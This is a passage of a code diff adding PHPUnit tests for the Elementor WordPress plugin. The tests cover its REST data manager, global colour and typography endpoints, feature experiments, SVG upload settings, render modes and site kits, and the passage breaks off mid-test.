public function test_command_extract_args() {
$args = [];
$command = 'controller/endpoint/?id=test&test=true';
$command_extracted = $this->manager->command_extract_args( $command, $args );
$this->assertEquals( 'controller/endpoint', $command_extracted->command );
$this->assertEquals( [ 'id' => 'test', 'test' => 'true' ], $command_extracted->args );
}
public function test_command_extract_args_merged() {
$args = [ 'merge' => 'true'];
$command = 'controller/endpoint/?id=test&test=true';
$command_extracted = $this->manager->command_extract_args( $command, $args );
$this->assertEquals( 'controller/endpoint', $command_extracted->command );
$this->assertEquals( [ 'id' => 'test', 'test' => 'true', 'merge' => 'true' ], $command_extracted->args );
}
public function test_command_to_endpoint() {
$one_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/endpoint/{paramA}', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/endpoint/valueA', $one_parameter );
$one_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/endpoint', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/valueA/endpoint', $one_parameter );
$one_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/endpoint/whatever', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/valueA/endpoint/whatever', $one_parameter );
$one_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/whatever/{paramA}/endpoint', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/whatever/valueA/endpoint', $one_parameter );
$one_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/whatever/endpoint', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/valueA/whatever/endpoint', $one_parameter );
$two_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/endpoint/{paramB}', [
'paramA' => 'valueA',
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller/valueA/endpoint/valueB', $two_parameter );
$two_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/{paramB}/endpoint', [
'paramA' => 'valueA',
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller/valueA/valueB/endpoint', $two_parameter );
$two_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/endpoint/{paramA}/{paramB}', [
'paramA' => 'valueA',
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller/endpoint/valueA/valueB', $two_parameter );
$two_parameter = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/endpoint/{paramA}/try-hard/{paramB}', [
'paramA' => 'valueA',
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller/endpoint/valueA/try-hard/valueB', $two_parameter );
$two_parameter_second_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/endpoint/{paramB}', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/valueA/endpoint', $two_parameter_second_missing );
$two_parameter_second_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/{paramB}/endpoint', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/valueA', $two_parameter_second_missing );
$two_parameter_second_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/endpoint/{paramA}/{paramB}', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/endpoint/valueA', $two_parameter_second_missing );
$two_parameter_second_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/endpoint/{paramA}/try-hard/{paramB}', [
'paramA' => 'valueA',
] );
$this->assertEquals( 'controller/endpoint/valueA/try-hard', $two_parameter_second_missing );
$two_parameters_first_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/endpoint/{paramB}', [
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller', $two_parameters_first_missing );
$two_parameters_first_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/{paramA}/{paramB}/endpoint', [
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller', $two_parameters_first_missing );
$two_parameters_first_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/endpoint/{paramA}/{paramB}', [
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller/endpoint', $two_parameters_first_missing );
$two_parameters_first_missing = $this->manager->command_to_endpoint( 'controller/endpoint', 'controller/endpoint/{paramA}/try-hard/{paramB}', [
'paramB' => 'valueB',
] );
$this->assertEquals( 'controller/endpoint', $two_parameters_first_missing );
$advance = $this->manager->command_to_endpoint( 'example/documents', 'example/documents/{document_id}/elements/{element_id}', [
'document_id' => '1618',
] );
$this->assertEquals( 'example/documents/1618/elements', $advance );
}
public function test_run_server() {
global $wp_rest_server;
$this->manager->run_server();
$this->assertEquals( true, !! $wp_rest_server );
}
public function test_kill_server() {
global $wp_rest_server;
$this->manager->kill_server();
$this->assertEquals( false, !! $wp_rest_server );
}
public function test_run_processor() {
$controller = $this->manager->register_controller( ControllerWithProcessor::class );
$this->manager->run_server();
$processor = array_values( $controller->processors )[ 0 ][ 0 ];
$result = $this->manager->run_processor( $processor, [ 'args' => [], 'result' => [ 'test' => true ] ] );
$this->assertCount( 2, $result );
$this->assertEquals( true, $result['test'] );
$this->assertEquals( true, $result['from_processor'] );
}
public function test_run_processors() {
$controller = $this->manager->register_controller( ControllerWithProcessor::class );
$this->manager->run_server();
$processor = array_values( $controller->processors )[ 0 ][ 0 ];
$processors = [ $processor ];
$result = $this->manager->run_processors( $processors, Processor\After::class, [ 'args' => [], 'result' => [ 'test' => true ] ] );
$this->assertCount( 2, $result );
$this->assertEquals( true, $result['test'] );
$this->assertEquals( true, $result['from_processor'] );
$result = $this->manager->run_processors( $processors, Processor\Before::class, [ 'args' => [], 'result' => [ 'test' => true ] ] );
$this->assertEquals( false, $result );
}
public function test_run_endpoint() {
$controller = new ControllerSimple(); // controller with endpoint.
$controller = $this->manager->register_controller_instance( $controller );
$this->manager->run_server();
$endpoint_instance = array_values( $controller->endpoints )[ 0 ];
$endpoint = $this->manager->command_to_endpoint( $controller->get_name() . '/' . $endpoint_instance->get_name(), false, [] );
$data = $this->manager->run_endpoint( $endpoint );
$data_controller_name = str_replace( $data['namespace'] . '/', '', $data['controller'] );
$this->assertEquals( $controller->get_name(), $data_controller_name );
}
public function test_run() {
$controller = new ControllerSimple(); // controller with endpoint.
$controller = $this->manager->register_controller_instance( $controller );
$this->manager->run_server();
$endpoint_instance = array_values( $controller->endpoints )[ 0 ];
$data = $this->manager->run( $controller->get_name() . '/' . $endpoint_instance->get_name() );
$data_controller_name = str_replace( $data['namespace'] . '/', '', $data['controller'] );
$this->assertEquals( $controller->get_name(), $data_controller_name );
}
public function test_commands_formats() {
$this->manager->run_server();
$this->assertEquals( [
'globals/index' => 'globals/index',
'globals/colors' => 'globals/colors/{id}',
'globals/typography' => 'globals/typography/{id}',
], $this->manager->command_formats );
}
}

View File

@@ -0,0 +1,69 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Editor\Data\Globals\Endpoints;
use Elementor\Data\Manager;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Editor\Data;
abstract class Base extends Elementor_Test_Base {
/**
* @var \Elementor\Core\Base\Module|\Elementor\Data\Manager
*/
protected $manager;
public function setUp() {
parent::setUp();
$this->set_manager();
$this->manager->kill_server();
$this->manager->register_controller( $this->get_controller_class() );
wp_set_current_user( $this->factory()->get_administrator_user()->ID);
}
public function tearDown() {
parent::tearDown();
$this->manager->kill_server();
}
public function set_manager( $manager = null ) {
if ( ! $manager ) {
$manager = Manager::instance();
}
$this->manager = $manager;
}
public function get_manager() {
if ( ! $this->manager ) {
$this->manager = Manager::instance();
}
return $this->manager;
}
public function get_endpoint( $id = null ) {
$endpoint = $this->get_command();
if ( $id ) {
$endpoint .= '/' . $id;
}
return $endpoint;
}
/**
* @return string
*/
abstract public function get_command();
/**
* @return string
*/
abstract public function get_controller_class();
}

View File

@@ -0,0 +1,53 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Editor\Data\Globals\Endpoints;
use Elementor\Plugin;
use Elementor\Core\Editor\Data;
class Test_Colors extends Base {
public function get_command() {
return 'globals/colors';
}
public function get_controller_class() {
return Data\Globals\Controller::class;
}
public function test_create() {
$id = (string) rand();
$args = [
'id' => $id,
'title' => 'whatever',
'value' => 'red',
];
// Create
$this->manager->run_endpoint( $this->get_endpoint( $id ), $args, \WP_REST_Server::CREATABLE );
// Bug: kit does not updated after save.
$kit = Plugin::$instance->documents->get( Plugin::$instance->kits_manager->get_active_id(), false );
$colors = $kit->get_settings( 'custom_colors' );
$this->assertEquals( $id, $colors[0]['_id'] );
$this->assertEquals( $args['value'], $colors[0]['color'] );
return $colors;
}
public function test_get() {
$colors = $this->test_create();
$rest_result = $this->manager->run_endpoint( $this->get_endpoint( $colors[0]['_id'] ) );
$this->assertEquals( $rest_result['id'], $colors[0]['_id'] );
}
public function test_get_item_that_does_not_exists() {
$rest_result = $this->manager->run_endpoint( $this->get_endpoint( 'fake_id' ) );
$this->assertEquals( 'global_not_found', $rest_result['code'] );
$this->assertEquals( 404, $rest_result['data']['status'] );
}
}

View File

@@ -0,0 +1,37 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Editor\Data\Globals\Endpoints;
use Elementor\Core\Editor\Data;
class Test_Index extends Base {
public function get_command() {
return 'globals';
}
public function get_controller_class() {
return Data\Globals\Controller::class;
}
public function test_index() {
$test_colors = new Test_Colors();
$test_typography = new Test_Typography();
$test_colors->set_manager( $this->get_manager() );
$test_typography->set_manager( $this->get_manager() );
$test_colors->test_create();
$test_typography->test_create();
$colors = $this->manager->run_endpoint( $test_colors->get_endpoint() );
$typography = $this->manager->run_endpoint( $test_typography->get_endpoint() );
$result = $this->manager->run_endpoint( $this->get_endpoint() ); // run index.
$excepted = [
'colors' => $colors,
'typography' => $typography,
];
$this->assertEquals( $excepted, $result );
}
}

View File

@@ -0,0 +1,55 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Editor\Data\Globals\Endpoints;
use Elementor\Plugin;
use Elementor\Core\Editor\Data;
class Test_Typography extends Base {
public function get_command() {
return 'globals/typography';
}
public function get_controller_class() {
return Data\Globals\Controller::class;
}
public function test_create() {
$id = (string) rand();
$args = [
'id' => $id,
'title' => 'whatever',
'value' => [
'whatever' => true,
],
];
// Create
$result = $this->manager->run_endpoint( $this->get_endpoint( $id ), $args, \WP_REST_Server::CREATABLE );
// Bug: kit does not updated after save.
$kit = Plugin::$instance->documents->get( Plugin::$instance->kits_manager->get_active_id(), false );
$typography = $kit->get_settings( 'custom_typography' );
$this->assertEquals( $id, $typography[0]['_id'] );
$this->assertArrayHaveKeys( [ 'whatever' ], $typography[0] );
return $typography;
}
public function test_get() {
$typography = $this->test_create();
$rest_result = $this->manager->run_endpoint( $this->get_endpoint( $typography[0]['_id'] ) );
$this->assertEquals( $rest_result['id'], $typography[0]['_id'] );
}
public function test_get_item_that_does_not_exists() {
$rest_result = $this->manager->run_endpoint( $this->get_endpoint( 'fake_id' ) );
$this->assertEquals( 'global_not_found', $rest_result['code'] );
$this->assertEquals( 404, $rest_result['data']['status'] );
}
}

View File

@@ -0,0 +1,49 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Editor\Data\Globals;
use Elementor\Data\Manager;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Editor\Data\Globals;
class Test_Controller extends Elementor_Test_Base {
/**
* @var \Elementor\Data\Manager
*/
protected $manager;
public function setUp() {
parent::setUp();
$this->manager = Manager::instance();
}
public function tearDown() {
parent::tearDown();
$this->manager->kill_server();
}
public function test_get_permission_callback() {
$controller = new Globals\Controller();
$methods = explode( ', ', \WP_REST_Server::ALLMETHODS );
// Set Editor.
wp_set_current_user( $this->factory()->get_editor_user()->ID );
foreach ( $methods as $method ) {
$request = new \WP_REST_Request( $method );
$this->assertEquals( $controller->get_permission_callback( $request ), true );
}
// Set subscriber.
wp_set_current_user( $this->factory()->get_subscriber_user()->ID );
foreach ( $methods as $method ) {
$request = new \WP_REST_Request( $method );
$this->assertEquals( $controller->get_permission_callback( $request ), false );
}
}
}

View File

@@ -0,0 +1,233 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Experiments;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
use Elementor\Core\Upgrade\Manager;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
class Test_Manager extends Elementor_Test_Base {
public function tearDown() {
parent::tearDown();
$experiments = $this->elementor()->experiments;
$features = $experiments->get_features();
foreach ( $features as $feature_name => $feature ) {
$experiments->remove_feature( $feature_name );
}
}
public function test_add_feature() {
$test_feature_data = [
'default' => Experiments_Manager::STATE_ACTIVE,
'unaccepted_key' => 'some value',
];
$test_set = [
'description' => '',
'release_status' => Experiments_Manager::RELEASE_STATUS_ALPHA,
'default' => Experiments_Manager::STATE_ACTIVE,
'name' => 'test_feature',
'state' => Experiments_Manager::STATE_DEFAULT,
'on_state_change' => null,
'new_site' => [
'default_active' => false,
'always_active' => false,
'minimum_installation_version' => null,
],
'mutable' => true,
];
$new_feature = $this->add_test_feature( $test_feature_data );
$re_added_feature = $this->add_test_feature( $test_feature_data );
$this->assertEquals( $test_set, $new_feature );
$this->assertEquals( null, $re_added_feature );
}
public function test_get_features() {
$experiments = $this->elementor()->experiments;
// Assert that `get_features` is called correctly even before adding any feature
$experiments->get_features();
$this->add_test_feature();
$features = $experiments->get_features();
$test_feature = $experiments->get_features( 'test_feature' );
$this->assertArrayHaveKeys( [ 'test_feature' ], $features );
$this->assertNotEmpty( $test_feature );
}
public function test_get_active_features() {
$this->add_test_feature();
$experiments = $this->elementor()->experiments;
$experiments->set_feature_default_state( 'test_feature', Experiments_Manager::STATE_DEFAULT );
$default_activated_test_feature_data = [
'name' => 'default_activated_test_feature',
'default' => Experiments_Manager::STATE_ACTIVE,
];
$this->add_test_feature( $default_activated_test_feature_data );
$active_features = $this->elementor()->experiments->get_active_features();
$expected_features = [
'default_activated_test_feature' => [
'description' => '',
'release_status' => Experiments_Manager::RELEASE_STATUS_ALPHA,
'default' => Experiments_Manager::STATE_ACTIVE,
'on_state_change' => null,
'name' => 'default_activated_test_feature',
'state' => Experiments_Manager::STATE_DEFAULT,
'new_site' => [
'default_active' => false,
'always_active' => false,
'minimum_installation_version' => null,
],
'mutable' => true,
],
];
$this->assertEquals( $expected_features, $active_features );
}
public function test_is_feature_active() {
$this->add_test_feature();
$is_test_feature_active = $this->elementor()->experiments->is_feature_active( 'test_feature' );
$this->assertTrue( $is_test_feature_active );
}
public function test_is_feature_active__new_site() {
update_option( Manager::INSTALLS_HISTORY_META, [
time() => '3.1.0',
] );
$this->add_test_feature( [
'default' => Experiments_Manager::STATE_INACTIVE,
'new_site' => [
'default_active' => true,
'minimum_installation_version' => '3.1.0',
],
] );
$experiments = $this->elementor()->experiments;
$is_test_feature_active = $experiments->is_feature_active( 'test_feature' );
$this->assertTrue( $is_test_feature_active );
}
public function test_is_feature_active__immutable() {
update_option( Manager::INSTALLS_HISTORY_META, [
time() => '3.1.0',
] );
$this->add_test_feature( [
'default' => Experiments_Manager::STATE_INACTIVE,
'new_site' => [
'always_active' => true,
'minimum_installation_version' => '3.1.0',
],
] );
$experiments = $this->elementor()->experiments;
$is_test_feature_active = $experiments->is_feature_active( 'test_feature' );
$test_feature = $experiments->get_features( 'test_feature' );
$this->assertTrue( $is_test_feature_active );
$this->assertFalse( $test_feature['mutable'] );
}
public function test_is_feature_active__default_activated() {
$experiments = $this->elementor()->experiments;
$default_activated_test_feature_data = [
'default' => Experiments_Manager::STATE_ACTIVE,
];
$this->add_test_feature( $default_activated_test_feature_data );
$is_default_activated_test_feature_active = $experiments->is_feature_active( 'test_feature' );
$this->assertTrue( $is_default_activated_test_feature_active );
}
public function test_is_feature_active__not_exists() {
$experiments = $this->elementor()->experiments;
$is_non_exist_active = $experiments->is_feature_active( 'not_exists_feature' );
$this->assertFalse( $is_non_exist_active );
}
public function test_is_feature_active__saved_state() {
add_option( 'elementor_experiment-test_feature', Experiments_Manager::STATE_ACTIVE );
$this->add_test_feature();
$experiments = $this->elementor()->experiments;
$is_test_feature_active = $experiments->is_feature_active( 'test_feature' );
$this->assertTrue( $is_test_feature_active );
}
public function test_set_feature_default_state() {
$this->add_test_feature();
$experiments = $this->elementor()->experiments;
$experiments->set_feature_default_state( 'test_feature', Experiments_Manager::STATE_ACTIVE );
$feature = $experiments->get_features( 'test_feature' );
$this->assertEquals( Experiments_Manager::STATE_ACTIVE, $feature['default'] );
}
public function test_remove_feature() {
$this->add_test_feature();
$experiments = $this->elementor()->experiments;
$experiments->remove_feature( 'test_feature' );
$feature = $experiments->get_features( 'test_feature' );
$this->assertNull( $feature );
}
private function add_test_feature( array $args = [] ) {
$experiments = $this->elementor()->experiments;
$test_feature_data = [
'name' => 'test_feature',
];
if ( $args ) {
$test_feature_data = array_merge( $test_feature_data, $args );
}
return $experiments->add_feature( $test_feature_data );
}
}

View File

@@ -0,0 +1,51 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Files\Assets;
use Elementor\Core\Files\Assets\Files_Upload_Handler;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Svg_Handler extends Elementor_Test_Base {
public function setUp() {
parent::setUp();
$_POST['uploadTypeCaller'] = 'elementor-editor-upload';
}
/**
* Assert that the uploader accepts SVG.
*/
public function test_support_unfiltered_files_upload__accepts_svg() {
// Arrange.
update_option( Files_Upload_Handler::OPTION_KEY, '1' );
$key = 'svg';
$value = 'image/svg+xml';
// Act.
$mimes = apply_filters( 'upload_mimes', [] );
// Assert.
$this->assertArrayHasKey( $key, $mimes );
$this->assertEquals( $mimes[ $key ], $value );
}
/**
* Assert that the uploader doesn't accept SVG.
*/
public function test_support_unfiltered_files_upload__doesnt_accept_svg() {
// Arrange.
update_option( Files_Upload_Handler::OPTION_KEY, '0' );
// Act.
$mimes = apply_filters( 'upload_mimes', [] );
// Assert.
$this->assertEmpty( $mimes );
}
}

View File

@@ -0,0 +1,135 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Frontend\RenderModeManager;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Frontend\Render_Mode_Manager;
use Elementor\Core\Frontend\RenderModes\Render_Mode_Base;
use Elementor\Core\Frontend\RenderModes\Render_Mode_Normal;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Render_Mode_Manager extends Elementor_Test_Base {
public function test_it_should_set_the_mock_render_mode_as_the_current() {
$post = $this->factory()->create_and_get_default_post();
$nonce = wp_create_nonce( Render_Mode_Manager::get_nonce_action( $post->ID ) );
$this->prepare( Render_Mode_Mock::class, Render_Mode_Mock::get_name(), $post->ID, $nonce );
$render_mode_manager = new Render_Mode_Manager();
do_action('wp_enqueue_scripts');
$this->assertTrue( $render_mode_manager->get_current() instanceof Render_Mode_Mock );
$this->assertTrue( wp_script_is( 'fake-script' ) );
$this->assertTrue( wp_style_is( 'fake-style' ) );
}
public function test_it_should_not_accept_render_mode_that_do_not_extend_the_base( ) {
$this->expectException(\Exception::class);
add_action(
'elementor/frontend/render_mode/register',
function ( Render_Mode_Manager $manager ) {
$manager->register_render_mode( Render_Mode_Without_Extend::class );
}
);
new Render_Mode_Manager();
}
public function test_throw_exception_if_get_permissions_callback_return_false() {
$this->expectException( \Requests_Exception_HTTP_403::class );
$post = $this->factory()->create_and_get_default_post();
$nonce = wp_create_nonce( Render_Mode_Manager::get_nonce_action( $post->ID ) );
$this->prepare( Render_Mode_Mock_Forbidden::class, Render_Mode_Mock_Forbidden::get_name(), $post->ID, $nonce );
new Render_Mode_Manager();
}
/**
* @dataProvider get_query_params
*
* @param $name
* @param $post_id
* @param $nonce
*/
public function test_it_should_set_default_render_mock_if_query_params_are_not_valid( $name, $post_id, $nonce ) {
$this->prepare( Render_Mode_Mock::class, $name, $post_id, $nonce );
$render_mode_manager = new Render_Mode_Manager();
$this->assertTrue( $render_mode_manager->get_current() instanceof Render_Mode_Normal );
}
/**
* @return array[]
*/
public function get_query_params() {
$post = $this->factory()->create_and_get_default_post();
$nonce = wp_create_nonce( Render_Mode_Manager::get_nonce_action( $post->ID ) );
$name = Render_Mode_Mock::get_name();
return [
'name is not valid' => [ null, $post->ID, $nonce ],
'post id is not valid' => [ $name, 9999999, $nonce ],
'nonce is not valid' => [ $name, $post->ID, 'This is a fake nonce' ],
];
}
/**
* @param $render_mode_class_name
* @param $name
* @param $post_id
* @param $nonce
*/
protected function prepare( $render_mode_class_name, $name, $post_id, $nonce ) {
$_GET[ Render_Mode_Manager::QUERY_STRING_PARAM_NAME ] = $name;
$_GET[ Render_Mode_Manager::QUERY_STRING_POST_ID ] = $post_id;
$_GET[ Render_Mode_Manager::QUERY_STRING_NONCE_PARAM_NAME ] = $nonce;
add_action(
'elementor/frontend/render_mode/register',
function ( Render_Mode_Manager $manager ) use ( $render_mode_class_name ) {
$manager->register_render_mode( $render_mode_class_name );
}
);
}
}
class Render_Mode_Mock extends Render_Mode_Base {
public static function get_name() {
return 'mock';
}
public function get_permissions_callback() {
return true;
}
public function enqueue_scripts() {
wp_enqueue_script( 'fake-script', 'fake-path' );
}
public function enqueue_styles() {
wp_enqueue_style( 'fake-style', 'fake-path' );
}
}
class Render_Mode_Mock_Forbidden extends Render_Mode_Base {
public static function get_name() {
return 'mock-forbidden';
}
public function get_permissions_callback() {
return false;
}
}
class Render_Mode_Without_Extend {}

View File

@@ -0,0 +1,75 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Kits\Documents;
use Elementor\Core\Breakpoints\Breakpoint;
use Elementor\Modules\History\Revisions_Manager;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Breakpoints\Manager as Breakpoints_Manager;
class Test_Kit extends Elementor_Test_Base {
/**
* @var \Elementor\Core\Kits\Documents\Kit
*/
private $kit;
public function setUp() {
wp_set_current_user( $this->factory()->get_administrator_user()->ID );
$kit = Plugin::$instance->kits_manager->get_active_kit();
$this->kit = Plugin::$instance->documents->get( $kit->get_id(), false );
// In the production environment 'JS' sends empty array, do the same.
add_post_meta( $kit->get_main_id(), '_elementor_data', '[]' );
}
public function test_save__kits_revision_ensure_changed() {
// Arrange.
$this->kit->set_settings( 'post_status', 'draft');
$excepted_count = count( Revisions_Manager::get_revisions( $this->kit->get_main_id() ) );
// Ensure new revision added.
$excepted_count++;
// Act.
$this->kit->save( [ 'settings' => $this->kit->get_settings() ] );
// Assert.
$this->assertCount( $excepted_count, Revisions_Manager::get_revisions( $this->kit->get_main_id() ) );
}
public function test_save__kits_revision_ensure_same() {
// Arrange.
$this->kit->save( [ 'settings' => $this->kit->get_settings() ] );
$excepted_count = count( Revisions_Manager::get_revisions( $this->kit->get_main_id() ) );
// Act.
$this->kit->save( [ 'settings' => $this->kit->get_settings() ] );
// Assert.
$this->assertCount( $excepted_count, Revisions_Manager::get_revisions( $this->kit->get_main_id() ) );
}
public function test_settings_layout_before_save() {
$prefix = Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX;
$kit_id = $this->kit->get_id();
$settings = $this->kit->get_settings();
// Set custom values for the mobile and tablet settings.
$settings['viewport_mobile'] = 599;
$settings['viewport_tablet'] = 799;
// Save the kit to trigger `before_save()`.
$this->kit->save( [ 'settings' => $settings ] );
// Refresh the kit and kit settings variables.
$this->kit = Plugin::$instance->documents->get( $kit_id, false );
$settings = $this->kit->get_settings();
// Check that the legacy mobile and tablet values are equal to the newer mobile and tablet settings + 1px.
$this->assertEquals( $settings['viewport_md'], $settings[ $prefix . Breakpoints_Manager::BREAKPOINT_KEY_MOBILE ] + 1 );
$this->assertEquals( $settings['viewport_lg'], $settings[ $prefix . Breakpoints_Manager::BREAKPOINT_KEY_TABLET ] + 1 );
}
}

View File

@@ -0,0 +1,208 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Kits;
use Elementor\Core\Base\Document;
use Elementor\Core\Kits\Documents\Kit;
use Elementor\Core\Kits\Manager;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Files\Manager as Files_Manager;
use Elementor\Modules\AdminBar\Module as Adminbar_Module;
class Test_Manager extends Elementor_Test_Base {
public function test_get_active_id() {
// Make sure the the 'wp_trash_post' function will actually throw the kit to trash
$_GET['force_delete_kit'] = '1';
// Test deleted kit.
$test_description = 'active id should return a new kit id after delete kit';
$active_id = Plugin::$instance->kits_manager->get_active_id();
wp_delete_post( $active_id, true );
$active_id_after_delete = Plugin::$instance->kits_manager->get_active_id();
$this->assertNotEquals( $active_id, $active_id_after_delete, $test_description );
// Test trashed kit.
$test_description = 'active id should return a new kit id after trash kit';
$active_id = Plugin::$instance->kits_manager->get_active_id();
wp_trash_post( $active_id );
$active_id_after_trash = Plugin::$instance->kits_manager->get_active_id();
$this->assertNotEquals( $active_id, $active_id_after_trash, $test_description );
// Test unpublished kit.
$test_description = 'active id should return a new kit id after trash kit';
$active_id = Plugin::$instance->kits_manager->get_active_id();
wp_trash_post( $active_id );
$active_id_after_trash = Plugin::$instance->kits_manager->get_active_id();
$this->assertNotEquals( $active_id, $active_id_after_trash, $test_description );
// Test invalid kit.
$test_description = 'active id should return a new kit id after for invalid kit';
$active_id = Plugin::$instance->kits_manager->get_active_id();
update_post_meta( $active_id, Kit::TYPE_META_KEY, 'invalid-type' );
// Invalidate cache.
Plugin::$instance->documents->get( $active_id, false );
$active_id_after_invalidate = Plugin::$instance->kits_manager->get_active_id();
$this->assertNotEquals( $active_id, $active_id_after_invalidate, $test_description );
}
public function test_when_updating_blogname_or_blogdescription_option_it_should_update_the_kit() {
wp_set_current_user( $this->factory()->get_administrator_user()->ID );
$kit = Plugin::$instance->kits_manager->get_active_kit();
$custom_colors_array = [
[
'_id' => 'test-id',
'title' => 'test',
'color' => '#000000',
],
];
$kit->update_settings(['custom_colors' => $custom_colors_array]);
// Make sure that it fetched again from the DB and not from the cache.
$kit = Plugin::$instance->documents->get( $kit->get_id(), false );
$name = get_option( 'blogname' );
$description = get_option( 'blogdescription' );
$expected_name = 'Test name';
$expected_description = 'Test description';
$this->assertNotEquals( $name, $expected_name );
$this->assertNotEquals( $description, $expected_description );
update_option( 'blogname', $expected_name );
update_option( 'blogdescription', $expected_description );
$this->assertEquals( $expected_name, $kit->get_settings( 'site_name' ) );
$this->assertEquals( $expected_description, $kit->get_settings( 'site_description' ) );
$this->assertEquals( $custom_colors_array, $kit->get_settings( 'custom_colors' ), 'It should not remove the old kit settings.' );
update_option( 'blogname', $name );
update_option( 'blogdescription', $description );
}
public function test_it_should_clear_files_cache_when_saving_kit() {
$kit = Plugin::$instance->kits_manager->get_active_kit();
wp_set_current_user( $this->factory()->get_administrator_user()->ID );
$file_manager = Plugin::instance()->files_manager;
$mock = $this->getMockBuilder( Files_Manager::class )
->setMethods( [ 'clear_cache' ] )
->getMock();
$mock->expects( $this->once() )
->method( 'clear_cache' );
Plugin::instance()->files_manager = $mock;
$kit->save( [] );
Plugin::instance()->files_manager = $file_manager;
}
public function test_before_trash_kit() {
// Arrange
$kit_id = Plugin::$instance->kits_manager->get_active_id();
// Assert (Expect)
$this->expectException(\WPDieException::class);
// Act
do_action( 'wp_trash_post', $kit_id );
}
public function test_before_trash_kit__when_permanently_deleting() {
// Arrange
$kit = Plugin::$instance->kits_manager->get_active_kit();
// Assert (Expect)
$this->expectException(\WPDieException::class);
// Act
do_action( 'before_delete_post', $kit->get_id() );
}
public function test_before_trash_kit__when_permanently_deleting_and_kit_in_trash() {
// Arrange
$kit = Plugin::$instance->kits_manager->get_active_kit();
wp_update_post([
'ID' => $kit->get_id(),
'post_status' => 'trash'
]);
// Refresh cache.
Plugin::$instance->documents->get( $kit->get_id(), false );
// Act
do_action( 'before_delete_post', $kit->get_id() );
// This assert is just to make sure that the test is passed the exception.
$this->assertTrue( true );
}
public function test_before_trash_kit__should_not_die_if_the_post_is_not_a_kit() {
// Arrange
$post_id = $this->factory()->post->create_and_get()->ID;
// Act
do_action( 'wp_trash_post', $post_id);
// This assert is just to make sure that the test is passed the exception.
$this->assertTrue( true );
}
public function test_before_trash_kit__should_not_die_if_force_trash_query_string_param_passed( ) {
// Arrange
$_GET['force_delete_kit'] = '1';
$kit_id = Plugin::$instance->kits_manager->get_active_id();
// Act
do_action( 'wp_trash_post', $kit_id );
// This assert is just to make sure that the test is passed the exception.
$this->assertTrue( true );
}
public function test_add_menu_in_admin_bar__ensure_menu_item() {
global $post;
$document = self::factory()->create_post();
$post = $document->get_post();
$expected = [
'id' => 'elementor_site_settings',
'title' => 'Site Settings',
'sub_title' => 'Site',
'href' => $document->get_edit_url() . '#' . Manager::E_HASH_COMMAND_OPEN_SITE_SETTINGS,
'class' => 'elementor-site-settings',
'parent_class' => 'elementor-second-section',
];
$adminbar_settings = ( new Adminbar_Module() )->get_settings();
$this->assertEqualSets( $expected, $adminbar_settings['elementor_edit_page']['children'][0] );
}
public function test_add_menu_in_admin_bar__not_built_with_elementor_ensure_item_from_recent_edited_post() {
global $post;
$document_that_built_with_elementor = self::factory()->create_post();
wp_update_post( $document_that_built_with_elementor->get_post() );
$document_not_built_with_elementor = self::factory()->create_post();
$document_not_built_with_elementor->update_meta( Document::BUILT_WITH_ELEMENTOR_META_KEY, false );
$post = $document_not_built_with_elementor->get_post();
$adminbar_settings = ( new Adminbar_Module() )->get_settings();
$expected = $document_that_built_with_elementor->get_edit_url() . '#' . Manager::E_HASH_COMMAND_OPEN_SITE_SETTINGS;
